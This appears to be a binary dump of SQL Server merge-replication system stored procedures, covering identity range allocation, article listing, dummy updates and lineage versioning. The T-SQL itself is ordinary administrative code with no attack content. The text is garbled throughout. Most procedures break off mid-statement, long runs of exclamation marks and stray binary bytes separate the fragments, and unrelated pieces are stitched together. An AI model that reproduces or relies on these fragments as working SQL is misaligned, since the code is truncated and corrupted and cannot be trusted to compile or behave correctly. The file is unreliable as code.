declare @range_begin numeric(38,0)
declare @range_end numeric(38,0)
declare @next_range_begin numeric(38,0)
declare @next_range_end numeric(38,0)
declare @max_used numeric(38,0)
declare @threshold int

if @table_owner is not NULL
    select @quoted_tablename = QUOTENAME(@table_owner) + '.' + QUOTENAME(@tablename)
else
    select @quoted_tablename = quotename(@tablename)

select @objid = object_id(@quoted_tablename)

select @identity_support=identity_support, @tablenick = nickname, @artid=artid, @range=range, @threshold=threshold 
    from dbo.sysmergearticles where objid=@objid

if @identity_support is NULL or @identity_support=0
begin
    -- table is not enabled for auto identity range management
    raiserror(21197, 16, -1)
    return (1)
end

/*
** do permission checking
*/
exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick=@tablenick
if @retcode<>0 or @@ERROR<>0 return (1)

-- check if this is a republisher.
if exists (select pubid from dbo.sysmergearticles where artid=@artid and sys.fn_MSmerge_islocalpubid(pubid)=0)
    select @is_republisher=1
else
    select @is_republisher=0

select @pubid=subid from dbo.MSmerge_identity_range where artid=@artid and is_pub_range=1 and (sys.fn_MSmerge_islocalsubid(subid)=1)
if @pubid is NULL
begin
    raiserror(20663, 16, -1)
    return (1)
end


-- get new identity. Now we do not know who the subscriber is. So it we cannot keep track
-- of this subscriber. However we will allocate a new range and update the publisher's entry
-- which indicates how much has been allocated.
-- we will allocate a new identity irrespective of what @adjust_only has been set to. This is
-- because the merge agent always calls mostly with @adjust_only being set to true and in the
-- one case that it is set to false it should really be true.
begin tran
save tran fetchidentityrange

select @ident_current = ISNULL(IDENT_CURRENT(@quoted_tablename), IDENT_SEED(@quoted_tablename))
select @ident_increment = IDENT_INCR(@quoted_tablename)

select @range_begin = range_begin,
       @range_end = range_end,
       @next_range_begin = next_range_begin,
       @next_range_end = next_range_end,
       @next_seed = max_used
    from dbo.MSmerge_identity_range with (updlock, rowlock) where artid=@artid and subid=@pubid and is_pub_range=1 
if @range_begin is NULL or @range_end is NULL or @next_seed is NULL
begin
    raiserror(21197, 16, -1)
    goto FAILURE
end

-- add one or subscract one from max_used for backward compatibility. This means between ranges we will always skip 
-- one number. That is fine if not Daytona will have overlapping ranges. Though SQL downlevel subscribers will be fine
-- Daytona will have overlapping ranges and hence this increment.
select @next_seed = @next_seed + @ident_increment

-- the following is fine even in case of negative increments since the @range value is negative
if @is_republisher=0
begin
    update dbo.MSmerge_identity_range set max_used = @next_seed+@range where artid=@artid and subid=@pubid and is_pub_range=1
    if @@error<>0
    begin
        raiserror(21197, 16, -1)
        goto FAILURE
    end
end
else
begin
    if @ident_increment>0
    begin
        if @range_end >= @next_seed and @range_begin <= @next_seed
        begin
            if (@next_seed+@range) <= @range_end
            begin
                -- there is enough space in the first range
                update dbo.MSmerge_identity_range set max_used = @next_seed+@range where artid=@artid and subid=@pubid and is_pub_range=1
                if @@error<>0
                begin
                    raiserror(21197, 16, -1)
                    goto FAILURE
                end
            end
            else
            begin
                -- we need to start using the second range
                select @next_seed = @next_range_begin
                if @next_range_begin is NULL
                begin
                    raiserror(21197, 16, -1)
                    goto FAILURE
                end
                update dbo.MSmerge_identity_range set max_used = @next_seed+@range where artid=@artid and subid=@pubid and is_pub_range=1
                if @@error<>0
                begin
                    raiserror(21197, 16, -1)
                    goto FAILURE
                end
            end
        end
        else if @next_range_end >= @next_seed and @next_range_begin <= @next_seed
        begin
            if (@next_seed+@range) <= @next_range_end
            begin
                -- there is enough space in the second range
                update dbo.MSmerge_identity_range set max_used = @next_seed+@range where artid=@artid and subid=@pubid and is_pub_range=1
                if @@error<>0
                begin
                    raiserror(21197, 16, -1)
                    goto FAILURE
                end
            end
            else
            begin
                -- there is not enough range at the republisher to allocate for it subscriber
                raiserror(20665, 16, -1)
                goto FAILURE
            end
        end
        else
        begin
            -- there is something terribly wrong here. @max_used is not in the ranges available at the publisher
            raiserror(21197, 16, -1)
            goto FAILURE
        end
    end
    else
    begin
        if @range_end <= @next_seed and @range_begin >= @next_seed
        begin
            if (@next_seed+@range) >= @range_end
            begin
                -- there is enough space in the first range
                update dbo.MSmerge_identity_range set max_used = @next_seed+@range where artid=@artid and subid=@pubid and is_pub_range=1
                if @@error<>0
                begin
                    raiserror(21197, 16, -1)
                    goto FAILURE
                end
            end
            else
            begin
                -- we need to start using the second range
                select @next_seed = @next_range_begin
                if @next_range_begin is NULL
                begin
                    raiserror(21197, 16, -1)
                    goto FAILURE
                end
                update dbo.MSmerge_identity_range set max_used = @next_seed+@range where artid=@artid and subid=@pubid and is_pub_range=1
                if @@error<>0
                begin
                    raiserror(21197, 16, -1)
                    goto FAILURE
                end
            end
        end
        else if @next_range_end <= @next_seed and @next_range_begin >= @next_seed
        begin
            if (@next_seed+@range) >= @next_range_end
            begin
                -- there is enough space in the second range
                update dbo.MSmerge_identity_range set max_used = @next_seed+@range where artid=@artid and subid=@pubid and is_pub_range=1
                if @@error<>0
                begin
                    raiserror(21197, 16, -1)
                    goto FAILURE
                end
            end
            else
            begin
                -- there is not enough range at the republisher to allocate for it subscriber
                raiserror(20665, 16, -1)
                goto FAILURE
            end
        end
        else
        begin
            -- there is somethi!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(>Lvocreate procedure sys.sp_MShelpmergearticles_nonpartgroups 
    @publication sysname,
    @compatibility_level int = 7000000,  -- backward compatibility level, default=Sphinx
    @pubidin uniqueidentifier = NULL
as
    declare @pubid                  uniqueidentifier
    declare @artid                  uniqueidentifier
    declare @user_name              sysname
    declare @guid_col               sysname
    declare @identity_support       int
    declare @nickname               int
    declare @next_seed              bigint
    declare @objid                  int
    declare @qualname               nvarchar(270)
    declare @retcode                int
    declare @tablename              sysname
    declare @range                  bigint
    declare @threshold              int
    declare @db_name                sysname
    declare @has_joins              int
    declare @article_filter_category int
    declare @haspartfilters         int
    declare @grouppartfilterarticles int
    declare @injoinfilters          int
    declare @nofilters              int
    declare @objid_looper           int
    declare @indexcol               int
    declare @rowcount1              int
    declare @rowcount2              int
    declare @use_partition_groups   smallint
    declare @maxschemaguidforarticle uniqueidentifier
    declare @tmp_table TABLE (tablename sysname, user_name sysname, guid_col sysname NULL, next_seed bigint NULL, 
                                artid uniqueidentifier, pubid uniqueidentifier, 
                                has_joins int, article_filter_category int, objid int, 
                                has_relation_with_joinarticles int default 0, node_visited bit default 0,
                                permissions_bitmask int default 0, maxschemaguidforarticle uniqueidentifier NULL, 
                                unique (artid, pubid), unique (objid, pubid))

    declare @worktable TABLE (objid int NOT NULL, indexcol int)

    set @nofilters = 1
    set @haspartfilters = 2
    set @injoinfilters = 4
    set @grouppartfilterarticles = 8
    
    /*
    ** To public.
    */
    set nocount on
    if (@publication is null)
    begin
        RAISERROR(14003, 16, -1)
        return (1)
    end
        
    if object_id('MSmerge_contents') is NULL
    begin
        raiserror(20054, 16, -1)
        return (1)
    end
    
    select @db_name = db_name()

    if @pubidin is not NULL
        set @pubid = @pubidin
    else
        select @pubid = pubid from dbo.sysmergepublications
            where name = @publication and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=@db_name

    -- security check
    if (@pubid is null) or {fn ISPALUSER(@pubid)} <> 1
    begin
        RAISERROR (21423, 11, -1, @publication)
        return (1)
    end
    
    select @use_partition_groups = use_partition_groups from dbo.sysmergepublications where pubid = @pubid
    if @use_partition_groups is null
        select @use_partition_groups = 0

    select TOP 1 @artid=artid, @objid=objid, @nickname=nickname, @identity_support=identity_support 
    from dbo.sysmergearticles 
    where pubid=@pubid 
    order by nickname ASC
    
    while (@artid is not NULL)
    begin
        
        select @tablename=object_name(@objid)
        if @tablename is NULL
            goto NEXT_ARTICLE

        select @maxschemaguidforarticle = sys.fn_GetArticleSchemaVersionGuid(@artid, @pubid)
        select @user_name=SCHEMA_NAME(schema_id) from sys.objects where object_id=@objid
        select @qualname=QUOTENAME(@user_name) + '.' + QUOTENAME(@tablename)
        select @next_seed=NULL
        if @identity_support=1 
        begin
            if (sys.fn_MSmerge_islocalpubid(@pubid)=1)
            begin
                select @next_seed=max_used from dbo.MSmerge_identity_range 
                    where artid=@artid and is_pub_range=1 and (sys.fn_MSmerge_islocalsubid(subid)=1)
            end
            else 
            begin
                -- This is the case of a message based subscriber acting like publisher
                select @next_seed = NULL
            end
        end

        if exists (select * from dbo.sysmergesubsetfilters where join_nickname = @nickname and (filter_type & 1) = 1)
            set @has_joins = 1
        else 
            set @has_joins = 0

        --if @use_partition_groups = 0
        --begin

            -- reset for subsequent bitwise OR operations.
            set @article_filter_category = 0

            if exists (select * from dbo.sysmergesubsetfilters where pubid = @pubid and (filter_type & 1) = 1 and (join_nickname = @nickname or art_nickname = @nickname))
                set @article_filter_category = (@article_filter_category | @injoinfilters)
            
            if exists (select * from dbo.sysmergearticles where pubid = @pubid and nickname = @nickname and datalength(subset_filterclause) > 1)
                set @article_filter_category = (@article_filter_category | @haspartfilters | @grouppartfilterarticles)
            
            if (@article_filter_category = 0)
                set @article_filter_category = @nofilters
        --end

        select @guid_col=name from sys.columns where object_id=@objid and is_rowguidcol=1

	--construct the permission bitmap to replace the deprecated PERMISSIONS() function.
        declare @permsbitmap  int, @unqual_sourcename nvarchar(540),  @source_object  nvarchar(270)

        select @source_object = QUOTENAME(SCHEMA_NAME(schema_id)) + '.' + QUOTENAME(name) 
        from sys.objects 
        where object_id = @objid 
        
	select @unqual_sourcename = sys.fn_replreplacesinglequote(@source_object)

        select @permsbitmap = HAS_PERMS_BY_NAME(@unqual_sourcename, 'OBJECT', 'SELECT') * 1 + 
					        HAS_PERMS_BY_NAME(@unqual_sourcename, 'OBJECT', 'INSERT') * 8 + 
					        HAS_PERMS_BY_NAME(@unqual_sourcename, 'OBJECT', 'UPDATE') * 2 + 
					        HAS_PERMS_BY_NAME(@unqual_sourcename, 'OBJECT', 'DELETE') * 16
        
        if @use_partition_groups <= 0
            insert into @tmp_table values(@tablename, @user_name, @guid_col, @next_seed, 
                                        @artid, @pubid, @has_joins, @article_filter_category, @objid, 0, 0,
                                        @permsbitmap, @maxschemaguidforarticle)
        else
            insert into @tmp_table select @tablename, @user_name, @guid_col, @next_seed, 
                                        @artid, @pubid, @has_joins, @article_filter_category, @objid, 
                                        case when (@article_filter_category & @injoinfilters) = @injoinfilters then 1 else 0 end, 
                                        0, @permsbitmap, @maxschemaguidforarticle
        
        if @@ERROR<>0
        begin
            raiserror(21197, 16, -1)
            return (1)
        end
        
NEXT_ARTICLE:        
        select @artid = NULL 
        select TOP 1 @artid=artid, @objid=objid, @nickname=nickname, @identity_support=identity_support 
        from dbo.sysmergearticles 
        where pubid=@pubid 
        and nickname>@nickname 
        order by nickname ASC
    end

    -- Find articles that have no relations (in either direction - referring or referenced) with any articles in the join filter category.

    if @use_partition_groups <= 0
    begin
        if exists (select * from @tmp_table where (article_filter_category & @injoinfilters) = @injoinfilters)
        begin

            --create unique index #uncworktable on @worktable(objid, indexcol)
            update @tmp_table set node_visited = 1 
            where objid not in (select parent_object_id from sys.foreign_keys)
            and objid not in (select referenced_object_id from sys.foreign_keys)
            and (article_filter_category & @injoinfilters) = 0

           !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`</oo -- get the min objid from the temp table of all articles
            select @objid_looper = min(objid) from @tmp_table where node_visited = 0
            
            while (@objid_looper is not null)
            begin
                delete from @worktable

                select @indexcol = 0

                insert into @worktable values (@objid_looper, @indexcol)
                            
                -- find all the objects referenced by this object and all objects that reference this object.
                insert into @worktable select distinct referenced_object_id, @indexcol+1 from sys.foreign_keys where parent_object_id = @objid_looper
                                                and referenced_object_id not in (select objid from @worktable)
                select @rowcount1 = @@rowcount
                
                insert into @worktable select distinct parent_object_id, @indexcol+1 from sys.foreign_keys where referenced_object_id = @objid_looper
                                                and parent_object_id not in (select objid from @worktable)
                select @rowcount2 = @@rowcount
                
                while (@rowcount1 <> 0 or @rowcount2 <> 0)
                begin
                    
                    select @indexcol = @indexcol+1

                    insert into @worktable select distinct s.referenced_object_id, @indexcol+1 from sys.foreign_keys s, @worktable w, @tmp_table t where s.parent_object_id = w.objid and w.objid = t.objid
                                                and w.indexcol = @indexcol and t.node_visited = 0 and s.referenced_object_id not in (select objid from @worktable)
                    select @rowcount1 = @@rowcount
                    
                    insert into @worktable select distinct s.parent_object_id, @indexcol+1 from sys.foreign_keys s, @worktable w, @tmp_table t where s.referenced_object_id = w.objid and w.objid = t.objid
                                                and w.indexcol = @indexcol and t.node_visited = 0 and s.parent_object_id not in (select objid from @worktable)
                    select @rowcount2 = @@rowcount
                end

                if exists (select * from @worktable w, @tmp_table t where w.objid = t.objid and (t.article_filter_category & @injoinfilters) = @injoinfilters)
                begin
                    -- all articles in @worktable have a direct or indirect relation with at least one object in the join articles category.
                    update @tmp_table set node_visited = 1, has_relation_with_joinarticles = 1 
                    from @tmp_table t, @worktable w 
                    where w.objid = t.objid 
                end
                else
                begin
                    -- none of the articles in @worktable has any relation (direct or indirect) with any article in the join articles category.         
                    update @tmp_table set node_visited = 1, has_relation_with_joinarticles = 0 
                    from @tmp_table t, @worktable w 
                    where w.objid = t.objid 
                end

                -- process more unvisited articles from @tmp_table
                select @objid_looper = min(objid) from @tmp_table where objid > @objid_looper and node_visited = 0
            end
        end
    end
    
    /* If the 7.0 merge agent is making this call then we need to make sure that the CLSID of the sp resolver is the old one and not the new one
       for an 8.0 merge agent we map CLSIDs from all resolvers it has in common with 9.0
       all this is done by calling fn_MSrepl_map_resolver_clsid */

    if @compatibility_level >= 9000000
    begin
        select name, t.tablename, t.user_name, a.artid, pre_creation_command, a.pubid, nickname,
            column_tracking, status, 
            sys.fn_MSrepl_map_resolver_clsid(@compatibility_level, article_resolver, resolver_clsid) as resolver_clsid, 
            conflict_script, conflict_table,
            insert_proc, update_proc, select_proc, destination_object, missing_col_count, 
            missing_cols, t.guid_col, 
            article_resolver, resolver_info, subset_filterclause, has_joins, excluded_col_count, 
            excluded_cols, destination_owner, identity_support, t.next_seed, a.range, a.threshold, 
            verify_resolver_signature, allow_interactive_resolver, fast_multicol_updateproc, check_permissions, 
            t.article_filter_category, t.has_relation_with_joinarticles, published_in_tran_pub, aw.logical_record_parent_nickname,
            aw.logical_record_level_conflict_detection, aw.logical_record_level_conflict_resolution,
            aw.partition_options, processing_order, a.upload_options, t.permissions_bitmask, a.delete_tracking, a.compensate_for_errors,
            a.pub_range, t.maxschemaguidforarticle, a.stream_blob_columns, a.preserve_rowguidcol, a.schema_option
            from dbo.sysmergearticles a
                inner join dbo.sysmergepartitioninfo aw on a.artid = aw.artid and a.pubid = aw.pubid 
                inner join @tmp_table t on a.pubid=t.pubid and a.artid=t.artid 
            order by a.processing_order, a.nickname
    end
    else
    begin
        select name, t.tablename, t.user_name, a.artid, pre_creation_command, a.pubid, nickname,
            column_tracking, status, 
            sys.fn_MSrepl_map_resolver_clsid(@compatibility_level, article_resolver, resolver_clsid) as resolver_clsid, 
            conflict_script, conflict_table,
            'sp_ins_' + sys.fn_MSmerge_getartprocsuffix(a.artid,a.pubid) as insert_proc, 
            'sp_upd_' + sys.fn_MSmerge_getartprocsuffix(a.artid,a.pubid) as update_proc, 
            'sp_sel_' + sys.fn_MSmerge_getartprocsuffix(a.artid,a.pubid) as select_proc, 
            destination_object, missing_col_count, 
            missing_cols, t.guid_col, 
            article_resolver, resolver_info, subset_filterclause, has_joins, excluded_col_count, 
            excluded_cols, destination_owner, identity_support, t.next_seed, a.range, a.threshold, 
            verify_resolver_signature, allow_interactive_resolver, fast_multicol_updateproc, check_permissions, 
            t.article_filter_category, t.has_relation_with_joinarticles, published_in_tran_pub, a.compensate_for_errors,
            a.schema_option
            from dbo.sysmergearticles a
                inner join dbo.sysmergepartitioninfo aw on a.artid = aw.artid and a.pubid = aw.pubid 
                inner join @tmp_table t on a.pubid=t.pubid and a.artid=t.artid 
            order by a.processing_order, a.nickname
    end
    return (0)  
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(1vIcreate procedure sys.sp_MSdummyupdate90
    (@rowguid uniqueidentifier, 
     @tablenick int, 
     @metatype tinyint, -- comes from METADATA_TYPE
     @pubid uniqueidentifier = NULL, 
     @inlineage varbinary(311) = NULL, 
     @incolv varbinary(2953) = NULL,
     @logical_record_parent_rowguid uniqueidentifier = NULL)
as
    declare @retcode     int
    declare @lineage     varbinary(311)
    declare @conflict_lineage varbinary(311)
    declare @replnick binary(6)
    declare @col_tracking int
    declare @colv varbinary(2953)
    declare @oldmaxversion int
    declare @objid int
    declare @artid uniqueidentifier
    declare @logical_record_parent_nickname int
    declare @METADATA_TYPE_Missing tinyint
    declare @METADATA_TYPE_Tombstone tinyint
    declare @METADATA_TYPE_Contents tinyint
    declare @METADATA_TYPE_ContentsDeferred tinyint
    declare @METADATA_TYPE_SystemDelete tinyint

    set @METADATA_TYPE_Missing= 0
    set @METADATA_TYPE_Tombstone= 1
    set @METADATA_TYPE_Contents= 2
    set @METADATA_TYPE_ContentsDeferred= 3
    set @METADATA_TYPE_SystemDelete=6

    
    /* Parameter checks */
    if (@rowguid is null)
    begin
        RAISERROR(14043, 16, -1, '@rowguid', 'sp_MSdummyupdate90')
        return (1)
    end
    if (@tablenick is null)
    begin
        RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSdummyupdate90')
        return (1)
    end
    if (@metatype is null)
    begin
        RAISERROR(14043, 16, -1, '@metatype', 'sp_MSdummyupdate90')
        return (1)
    end

    /*
    ** Check to see if current publication has permission
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @pubid = @pubid, @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 1
        
   /* Check if we have a merge publication by whether system table is there */
    if object_id('MSmerge_contents') is NULL
    begin
        RAISERROR(20054 , 16, -1)
        return (1)
    end

    exec sys.sp_MSgetreplnick @replnick = @replnick out
    if (@@error <> 0) or @replnick IS NULL 
    begin
        RAISERROR (14055, 11, -1)
        RETURN(1)
    end                 

    select @objid =  objid, @artid = artid
        from dbo.sysmergearticles where nickname=@tablenick
    if @objid is NULL
    begin
        RAISERROR(14043, 16, -1, '@objid', 'sp_MSdummyupdate90')
        return (1)
    end
    
    if @logical_record_parent_rowguid is not null
    begin
        select @logical_record_parent_nickname = logical_record_parent_nickname
        from dbo.sysmergepartitioninfo
        where artid = @artid
    end
        
    -- Look for the "other" lineage in a conflict table
    select @conflict_lineage = max(lineage) from MSmerge_errorlineage where
        rowguid = @rowguid and tablenick = @tablenick

    set @oldmaxversion= (select top 1 maxversion_at_cleanup from dbo.sysmergearticles 
                            where nickname = @tablenick)

    if (@metatype = @METADATA_TYPE_Missing)
    begin
        -- We don't have the row.  Putting in a system delete tombstone should cause a delete and
        -- eventual convergence.  We are already logging the row as a conflict / error.

        if @inlineage is null
        begin
            if @conflict_lineage is not null
            begin
                set @lineage = { fn UPDATELINEAGE(@conflict_lineage, @replnick, @oldmaxversion+1) }
            end
            else
            begin
                set @lineage = { fn UPDATELINEAGE(0x0, @replnick, @oldmaxversion+1) }
            end
        end
        else
        begin
            set @lineage= @inlineage
        end
        
        begin tran
        
        insert into dbo.MSmerge_tombstone (rowguid, tablenick, type, lineage, generation, logical_record_parent_rowguid) 
            select @rowguid, @tablenick, 6, @lineage, 0, @logical_record_parent_rowguid
                where not exists (select * from dbo.MSmerge_contents 
                                where tablenick = @tablenick
                                and rowguid = @rowguid)
        if @@rowcount = 0
        begin
            -- We get here only when there is an existing contents row, which caused us to 
            -- not insert the tombstone row. Let us dummy update the contents row in this
            -- case.
            update dbo.MSmerge_contents set generation = 0
            where tablenick = @tablenick
            and rowguid = @rowguid
        end
        else
        begin

            delete from dbo.MSmerge_current_partition_mappings where rowguid=@rowguid and tablenick=@tablenick
            insert into dbo.MSmerge_past_partition_mappings (publication_number, tablenick, rowguid,
            partition_id, generation,reason)
                    values (0, @tablenick, @rowguid, -1, 0, 1)
        end

        if @logical_record_parent_rowguid is not null
        begin
            exec @retcode = sys.sp_MSupdate_singlelogicalrecordmetadata 
                                    @logical_record_parent_nickname,
                                    @logical_record_parent_rowguid,
                                    @replnick, 0
        end
                
        commit tran
        
    end
    else if (@metatype = @METADATA_TYPE_Tombstone)
    begin
        if @inlineage is null
        begin
            select @lineage = lineage from dbo.MSmerge_tombstone with (UPDLOCK ROWLOCK index = 1) 
                                    where tablenick = @tablenick and rowguid = @rowguid
            if @conflict_lineage is not null
            begin
                exec @retcode= sys.xp_mergelineages @lineage, @conflict_lineage, @lineage output
                if @@error<>0 or @retcode<>0 return(1)
            end
            set @lineage = { fn UPDATELINEAGE(@lineage, @replnick, @oldmaxversion+1) }
        end
        else
        begin
            set @lineage = @inlineage
        end
            
        update dbo.MSmerge_tombstone set generation = 0, lineage = @lineage where
            tablenick = @tablenick and rowguid = @rowguid
            
        if @logical_record_parent_rowguid is not null
        begin
            exec @retcode = sys.sp_MSupdate_singlelogicalrecordmetadata 
                                    @logical_record_parent_nickname,
                                    @logical_record_parent_rowguid,
                                    @replnick, 0
        end
                
    end
    else if (@metatype = @METADATA_TYPE_Contents)
    begin
        if @inlineage is not null
        begin
            set @lineage = @inlineage

            if @incolv is not null
            begin
                set @colv = @incolv
            end
            else
            begin
                select @colv = colv1 from dbo.MSmerge_contents with (UPDLOCK ROWLOCK index = 1) where 
                    tablenick = @tablenick and rowguid = @rowguid
                if @pubid is NULL
                    select @col_tracking = column_tracking from dbo.sysmergearticles where nickname = @tablenick
                else
                    select @col_tracking = column_tracking from dbo.sysmergearticles where nickname = @tablenick and pubid = @pubid
                if (@col_tracking = 0 or @colv is NULL)
                    set @colv = NULL
                else
                    set @colv = { fn UPDATECOLVBM(@colv, @replnick, 0x01, 0x00, { fn GETMAXVERSION(@lineage) }) }
            end
        end
        else
        begin
            -- @inlineage is null; thus, @incolv is also null
            select @lineage = lineage, @colv = colv1 from dbo.MSmerge_contents with (UPDLOCK ROWLOCK index = 1) where tablenick = @tablenick and
                rowguid = @rowguid

            if @conflict_lineage is not null
            begin
                exec @retcode= sys.xp_mergelineages @lineage, @c!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`/<XN0}%@ F8
create procedure sys.sp_MSuplineageversion
    (@tablenick int,
     @rowguid uniqueidentifier,
     @version int)
as
    declare @replnick binary(6)
    declare @curversion int
    declare @lineage varbinary(311)
    declare @retcode int
    declare @colv varbinary(2953)
    declare @col_tracking int
    declare @rowintombstone int
    
    /*
    ** Check to see if current publication has permission
    */
    exec @retcode = sys.sp_MSrepl_PAL_rolecheck @tablenick = @tablenick
    if (@retcode <> 0) or (@@error <> 0)
        return 1
    
    exec sys.sp_MSgetreplnick @replnick = @replnick out
    if (@@error <> 0) or @replnick IS NULL 
        begin
        RAISERROR (14055, 11, -1)
        RETURN(1)
        end                 
    if (@rowguid is null)
        begin
        RAISERROR(14043, 16, -1, '@rowguid', 'sp_MSuplineageversion')
        return (1)
        end
    if (@tablenick is null)
        begin
        RAISERROR(14043, 16, -1, '@tablenick', 'sp_MSuplineageversion')
        return (1)
        end

    select @col_tracking = column_tracking
             from dbo.sysmergearticles where nickname = @tablenick

    begin transaction
    save tran sp_MSuplineageversion

    -- get lineage, locking row in MSmerge_contents. If not found there, also try MSmerge_tombstone
    set @rowintombstone= 0
    select @lineage = lineage, @colv = colv1 from dbo.MSmerge_contents with (UPDLOCK ROWLOCK index = 1) where tablenick = @tablenick and
            rowguid = @rowguid
    if (@lineage is null)
    begin
        select @lineage = lineage from dbo.MSmerge_tombstone with (UPDLOCK ROWLOCK index = 1) where tablenick = @tablenick and
            rowguid = @rowguid
        set @colv= NULL
        set @rowintombstone= 1
    end
    if (@lineage is null)
    begin
        RAISERROR(14043, 16, -1, '@lineage', 'sp_MSuplineageversion')
        goto Failure
    end

    set @curversion = 0
    while (@curversion < @version)
    begin
        set @lineage= { fn UPDATELINEAGE(@lineage, @replnick, 1) }
        set @curversion= { fn GETMAXVERSION(@lineage) }
    end
    if (@col_tracking = 0 or @colv is NULL)
        set @colv = NULL
    else
        set @colv = { fn UPDATECOLVBM(@colv, @replnick, 0x01, 0x00, @curversion) }
        
    -- update lineage in MSmerge_contents or MSmerge_tombstone
    if (@rowintombstone = 0)
    begin
        update dbo.MSmerge_contents set lineage = @lineage, colv1 = @colv where 
            tablenick = @tablenick and rowguid = @rowguid
    end
    else
    begin
        update dbo.MSmerge_tombstone set lineage = @lineage where
            tablenick = @tablenick and rowguid = @rowguid
    end

    commit
    return (0)
Failure:
    rollback tran sp_MSuplineageversion
    commit tran
    return(1)
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`	l<
$O0UN E8create procedure sys.sp_MSreset_logical_record_views(@pubid uniqueidentifier) 
AS
    declare @artid uniqueidentifier
    declare @logical_record_view nvarchar(270)
    declare @quoted_obj nvarchar(290)

    -- drop all the logical record views for this publication, and also null out the entries in sysmergepartioninfo 
    -- for all articles in this publication
    declare per_article CURSOR LOCAL FAST_FORWARD FOR select artid, object_name(logical_record_view) FROM dbo.sysmergepartitioninfo 
        where pubid = @pubid and logical_record_view is not null FOR READ ONLY
    open per_article
